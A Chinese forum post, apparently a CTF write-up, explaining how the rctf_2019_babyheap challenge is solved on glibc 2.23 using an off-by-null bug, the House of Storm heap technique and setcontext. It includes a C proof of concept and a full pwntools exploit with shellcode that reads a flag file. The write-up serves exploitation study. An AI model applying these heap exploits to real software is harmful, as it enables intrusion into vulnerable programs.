首页
论坛
课程
招聘
[原创]一道house of storm的heap题目
2020-2-13 11:20 5705

[原创]一道house of storm的heap题目

2020-2-13 11:20
5705

一道house of storm的heap题目

原题:rctf_2019_babyheap

 

复现:赵师傅https://buuoj.cn/challenges#rctf_2019_babyheap

题目分析:

  • 保护:

        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    

    全开没有,没给写got表

     line  CODE  JT   JF      K
    =================================
     0000: 0x20 0x00 0x00 0x00000004  A = arch
     0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
     0002: 0x06 0x00 0x00 0x00000000  return KILL
     0003: 0x20 0x00 0x00 0x00000000  A = sys_number
     0004: 0x15 0x00 0x01 0x00000029  if (A != socket) goto 0006
     0005: 0x06 0x00 0x00 0x00000000  return KILL
     0006: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0008
     0007: 0x06 0x00 0x00 0x00000000  return KILL
     0008: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0010
     0009: 0x06 0x00 0x00 0x00000000  return KILL
     0010: 0x15 0x00 0x01 0x0000009d  if (A != prctl) goto 0012
     0011: 0x06 0x00 0x00 0x00000000  return KILL
     0012: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0014
     0013: 0x06 0x00 0x00 0x00000000  return KILL
     0014: 0x15 0x00 0x01 0x00000065  if (A != ptrace) goto 0016
     0015: 0x06 0x00 0x00 0x00000000  return KILL
     0016: 0x15 0x00 0x01 0x0000003e  if (A != kill) goto 0018
     0017: 0x06 0x00 0x00 0x00000000  return KILL
     0018: 0x15 0x00 0x01 0x00000038  if (A != clone) goto 0020
     0019: 0x06 0x00 0x00 0x00000000  return KILL
     0020: 0x06 0x00 0x00 0x7fff0000  return ALLOW
    

    禁掉了execve,这个就很难受了。写hooksystem或者是one_gadget就行不通了。

    而且这个程序__free_hook的附近找不到合适的chunk。

    设置了global_max_fast = 0x16 (mallopt(1,0))

  • 程序逻辑:标准的菜单题,add,delete,edit,show都有实现。

  • 漏洞:漏洞倒是很明显,edit处在一处off-by-null。

    unsigned __int64 edit()
    {
      int v0; // ST00_4
      int read_size; // ST04_4
      __int64 idx; // [rsp+0h] [rbp-10h]
      unsigned __int64 v4; // [rsp+8h] [rbp-8h]
    
      v4 = __readfsqword(0x28u);
      printf("Index: ");
      LODWORD(idx) = get_int();
      if ( idx >= 0 && idx <= 15 && ptrs[idx].pchunk )
      {
        printf("Content: ", idx);
        read_size = read_n(ptrs[v0].pchunk, ptrs[v0].size);
        *(ptrs[v0].pchunk + read_size) = 0;         // off-by-null
        puts("Edit success :)");
      }
      else
      {
        puts("Invalid index :(");
      }
      return __readfsqword(0x28u) ^ v4;
    

解题思路:

这里用了Ex师傅的方案。Ex师傅tql

  • leak

    off-by-null + unlink构造overlap

  • 控制__free_hook

    house of storm

  • 写__free_hook 到setcontext,控制寄存器,执行mprotect

  • shellcode注入getshell

膜一下Ex大佬----------------------

一些学到的(骚)操作

house of storm
  • 作用:

    任意位置分配chunk

  • house of storm 利用条件:

    可以控制unsorted binlarge bin

    任意地址chunk的size的低四位要为0

    (其中第二点我不知道有什么含义,期望理解了的师傅教教我)

  • 理解:

    从我今天一下午的浅薄认知来讲,house of storm 更像是 unsorted bin 利用加上 large bin 利用。

    其中,unsorted bin 利用负责把 fake_chunk链人unsorted bin 链表中,从而让我们有机会malloc出来

    而 large bin 利用主要是负责绕过从unsorted bin malloc出来chunk的size check。

    关与house of storm的利用原理,在这个文章里有提到https://xz.aliyun.com/t/5265。

    我觉得这个漏洞还是分开看比较好理解,第一部分是unsorted bin 的部分

    • 源码:

      /* remove from unsorted list */
      unsorted_chunks (av)->bk = bck;
      bck->fd = unsorted_chunks (av);
      
      /* Take now instead of binning if exact fit */
      
      if (size == nb)
      {
          set_inuse_bit_at_offset (victim, size);
          if (av != &main_arena)
              victim->size |= NON_MAIN_ARENA;
          check_malloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
      }
      

      代码来自glibc2.23/malloc/malloc.c#__int_malloc

      新的版本这个地方已经不太一样了,添加了对当前取出的chunk的检测,类似与check(bck->fd = victim)的操作,但是在2.23中还没有。

      通过代码我们可以发现,在解链的时候,unsorted bin中的第一个chunk的fd实际上是没有用到的,

      通过控制bk我们就可以把一个fake_chunk链入,尽管这种情况下,unsorted bin的双向链表被破坏。但是对于这个利用,没有什么关系。另外,当我们申请的size大小,也就是nb,等于当前chunk的size的时候,就会把这个chunk返回给我们。

    • 我们可以通过这样的利用将fake_chunk上链

          ((size_t *)unsorted_bin)[0] = 0; // unsorted_bin->fd
          ((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk
      

    第二部分是largebin atk的部分

    • 源码:

      victim_index = largebin_index (size);
      bck = bin_at (av, victim_index);   //largebin 中的第一个chunk
      fwd = bck->fd;                        //指向链表头
      if (fwd != bck)            //largebin 不空
      {
          /* Or with inuse bit to speed comparisons */
          size |= PREV_INUSE;
          /* if smaller than smallest, bypass loop below */
          assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
          if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) //执行else
          {
              fwd = bck;
              bck = bck->bk;
      
              victim->fd_nextsize = fwd->fd;
              victim->bk_nextsize = fwd->fd->bk_nextsize;
              fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
          }
          else
          {
              assert ((fwd->size & NON_MAIN_ARENA) == 0);
              while ((unsigned long) size < fwd->size)
              {
                  fwd = fwd->fd_nextsize;        
                  assert ((fwd->size & NON_MAIN_ARENA) == 0);
              }
      
              if ((unsigned long) size == (unsigned long) fwd->size) //执行else
                  /* Always insert in the second position.  */
                  fwd = fwd->fd;
              else
              {
                  victim->fd_nextsize = fwd;
                  victim->bk_nextsize = fwd->bk_nextsize;
                  fwd->bk_nextsize = victim;   //****
                  victim->bk_nextsize->fd_nextsize = victim;
              }
              bck = fwd->bk;
          }
      }
      

      如果unsorted bin 中的chunk不符合size的要求,放入对应的bin中,在本次利用中,这个chunk是largebin大小的,代码将执行以下分支,将其链入。

      之其中有问题的代码就是这一句·

      fwd->bk_nextsize = victim;   //****
      

      如果我们可以控制bk_next_size,那么我们就有了一次任意写,写入chunk的地址

      需要注意的是在之后

      fwd->bk = victim;
      

      这个地方还有一次写入,需要保证,bk指向的区域可写。

  • 弄懂了这些,这个攻击就变得好理解一点了

    poc:

    // compiled: gcc -g -fPIC -pie House_of_Strom.c -o House_of_Strom
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    struct {
        char padding[0x10]; // NULL padding
        char sh[0x10];
    }global_container = {"","id"};
    
    int main()
    {
        char *unsorted_bin, *large_bin, *fake_chunk, *ptr;
    
        unsorted_bin = malloc(0x4e8); // size 0x4f0
        malloc(0x18);
        large_bin = malloc(0x4d8); // size 0x4e0
        malloc(0x18);
        free(large_bin); 
        free(unsorted_bin);
        unsorted_bin = malloc(0x4e8);
        free(unsorted_bin);                //到这个地方,unsortedbin 在unsort bin里,largebin在                                      //largebin里,到此为止,我们进行的都是正常的操作
    
        fake_chunk = global_container.sh - 0x10;
        //把fake_chunk链入unsorted bin中,前面说过了这个地方fd没有用到
        ((size_t *)unsorted_bin)[0] = 0; // unsorted_bin->fd
        ((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk
        //修改largebin chunk的指针
        ((size_t *)large_bin)[0] = 0; // large_bin->fd
        ((size_t *)large_bin)[1] = (size_t)fake_chunk + 8; // large_bin->bk
        ((size_t *)large_bin)[2] = 0; // large_bin->fd_nextsize
        ((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - 5; // large_bin->bk_nextsize
    
        ptr = malloc(0x48);
        strncpy(ptr, "/bin/sh", 0x48 - 1);
        system(global_container.sh);
    
        return 0;
    }
    

    需要注意的是,开pie和不开略有区别,但是总体区别不大,开pie的成功率大约1/3

    当我们malloc(0x48)的时候,发生了这么几件事:

    • 遍历unsorted bin ,取出第一个chunk,比较大小,不合适。

    • 试图将这个chunk插入largebin,由该chunk比largebin中的chunk略大,这些关键的代码被执行

      fwd->bk_nextsize = victim;   //****
      

      其中fwd即为我们poc中的large_bin。被我们设置为(size_t)fake_chunk - 0x18 - 5,这样我们victim的高位,将被写入fake_chunk的size域,这个地方和我们找__malloc_hook附近的chunk一样利用了偏移的技巧。至此,unsorted bin中被链入的fake_chunk已经有了size,一般来讲,这个size大约是0x5x,这样我们malloc(0x48),这个chunk就是符合标准的

    • 取出fake_chunk,合适,返回给我们,至此,house of storm达成。

setcontext

  • 虽然我们控制了__free_hook,但是没有execve用,控制程序执行流还是一个问题。这里用了一个setcontext函数。

  • 函数原型:

    NAME
           getcontext, setcontext - get or set the user context
    
    SYNOPSIS
           #include <ucontext.h>
    
           int getcontext(ucontext_t *ucp);
           int setcontext(const ucontext_t *ucp);
    

    ucontext_t这个结构,在srop中也用到过,srop模块已经被集成入pwntools了,可以很方便的利用

    这个函数的作用主要是用来设置进程的上下文,我们可以用它来控制所有的寄存器,这里我们将rip指向了mprotect并设置参数,用来给__free_hook的page赋予运行的权限。将rsp指向&__free_hook + 8执行sys_write,注入shellcode,get flag。

    需要注意的是,需要将__free_hook设置为setcontext+offset,因为setcontext函数前有对&fpstate进行操作的汇编,会导致程序段错误,原因大概是没有正确设置ucontext->&fpstate,在0xe0的位置。

exp:

  • 菜鸡的exp,交互有点问题,打不通远程,本地可以的,不知道啥原因,有师傅发现希望指正
 from pwn import *
  from p4f import core
  context.log_level = 'debug'

  p = core.Pwn('./rctf_2019_babyheap',"node3.buuoj.cn",27623,0)
  libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

  def menu(idx):
      p.ru("Choice: \n")
      p.sl(str(idx))

  def add(size):
      menu(1)
      p.ru("Size: ")
      p.sl(str(size))

  def edit(idx,content):
      menu(2)
      p.ru("Index: ")
      p.sl(str(idx))
      p.ru("Content: ")
      p.s(content)

  def delete(idx):
      menu(3)
      p.ru("Index: ")
      p.sl(str(idx))

  def show(idx):
      menu(4)
      p.ru("Index: ")
      p.sl(str(idx))

  def z():
      core.Log("libc = ",libcbase)
      core.debug(p)

  add(0x68) #0
  add(0x68) #1
  add(0xf0) #2
  add(0x20) #3
  add(0x68) #4
  add(0x68) #5

  payload = 'a'*0x60 + p64(0xe0)
  delete(0)
  edit(1,payload)
  delete(2)
  add(0x68) #0
  add(0x68) #2    also 1
  add(0xf0) #6
  delete(1)
  show(2)
  leak = u64(p.rn(6)+'\x00\x00')

  libcbase = leak + 0x7eff37a11000 - 0x7eff37dd5b78
  max_fast = libcbase + 0x7f3df1b2a7f8 - 0x7f3df1764000
  free_hook = libcbase + libc.symbols["__free_hook"]
  core.Log("libc = ",libcbase)

  add(0x68)   #clear unsorted bin   #1 also 2
  add(0x68)   #7
  add(0x4b0)  #8
  add(0x20)   #9
  add(0x4e8)  #10
  add(0xf0)   #11
  add(0x20)   #12
  add(0x100)  #13

  delete(7)
  pre_size = 0x70 + 0x4c0 + 0x30 + 0x4f0
  payload = 'a'*0x4e0 + p64(pre_size)
  edit(10,payload)
  delete(11)
  add(0xb40)  #7
  payload = 'a'*0x68 + p64(0x4c1) + 'a'*0x4b0
  payload += p64(0) + p64(0x31) + 'a'*0x20
  payload += p64(0) + p64(0x4f1) + 'a'*0x4e8
  payload += p64(0x101)
  edit(7,payload)
  delete(8)
  delete(10)
  add(0x4e8)   #8
  delete(8)

  fake_chunk = free_hook - 0x10
  payload = 'a'*0x68 + p64(0x4c1) + p64(0) + p64(fake_chunk+8)+ p64(0) + p64(fake_chunk-0x18-5)+'a'*0x490
  payload += p64(0) + p64(0x31) + 'a'*0x20
  payload += p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk) + 'a'*0x4d8
  payload += p64(0x101) 
  edit(7,payload)
  add(0x48)    #8   get free_hook

  page = free_hook & 0xfffffffffffff000
  shellcode1 = '''
  xor rdi, rdi
  mov rsi, {}
  mov rdx, 0x1000
  mov rax, 0
  syscall
  jmp rsi
  '''.format(page)


  context.arch = "amd64"
  frame = SigreturnFrame()
  frame.rsp = free_hook + 8
  frame.rbp = free_hook + 8
  frame.rip = libcbase + libc.symbols['mprotect'] # 0xe0 something strange
  frame.rdi = page
  frame.rsi = 0x1000
  frame.rdx = 4 | 2 | 1

  edit(13,str(frame))
  edit(8,p64(libcbase+libc.symbols["setcontext"]+53)+p64(free_hook+0x10)+asm(shellcode1))
  delete(13)
  shellcode2 = '''
  mov rax, 0x67616c662f2e ;// ./flag
  push rax

  mov rdi, rsp ;// ./flag
  mov rsi, 0 ;// O_RDONLY
  xor rdx, rdx ;// 0
  mov rax, 2 ;// SYS_open
  syscall

  mov rdi, rax ;// fd 
  mov rsi,rsp  ;// stack
  mov rdx, 1024 ;// nbytes
  mov rax,0 ;// SYS_read
  syscall

  mov rdi, 1 ;// fd 
  mov rsi, rsp ;// buf
  mov rdx, rax ;// count 
  mov rax, 1 ;// SYS_write
  syscall

  mov rdi, 0 ;// error_code
  mov rax, 60
  syscall
  '''
  sleep(0.5)
  p.s(asm(shellcode2))
  print p.r()
  #z()
  p.ia()
  • Ex师傅的exp:http://blog.eonew.cn/archives/1000

总结

  • 其中House of storm 给我们提供了一种任意地址malloc的利用方法,而setcontext,则给了我们一个在劫持程序执行流的方法,特别是这种方法可以让我们注入shellcode
  • 如果这道题还有一种解法,是利用fastbin atk,没有仔细看,文章链接:https://n132.github.io/2019/05/21/2019-05-21-RCTF2019-Babyheap/
  • 在最近的glibc中house of storm 应该是不能这样利用了,这道题的环境是Ubuntu 16, glibc 2.23
  • Ex师傅的博客:http://blog.eonew.cn/archives/1000
  • 认识有限,文章可能存在错误,希望师傅们斧正

[公告]《安卓APP加固攻与防》训练营!Android逆向分析技能,干货满满,报名免费赠送一部手机!

最后于 2020-2-13 11:24 被wx_yz编辑 ,原因:
上传的附件:
收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 2112
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_xghoecki 活跃值 2020-2-13 17:01
2
0
感谢分享
雪    币: 205
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wood1314 活跃值 2020-3-21 20:06
3
0
感谢分享
游客
登录 | 注册 方可回帖
返回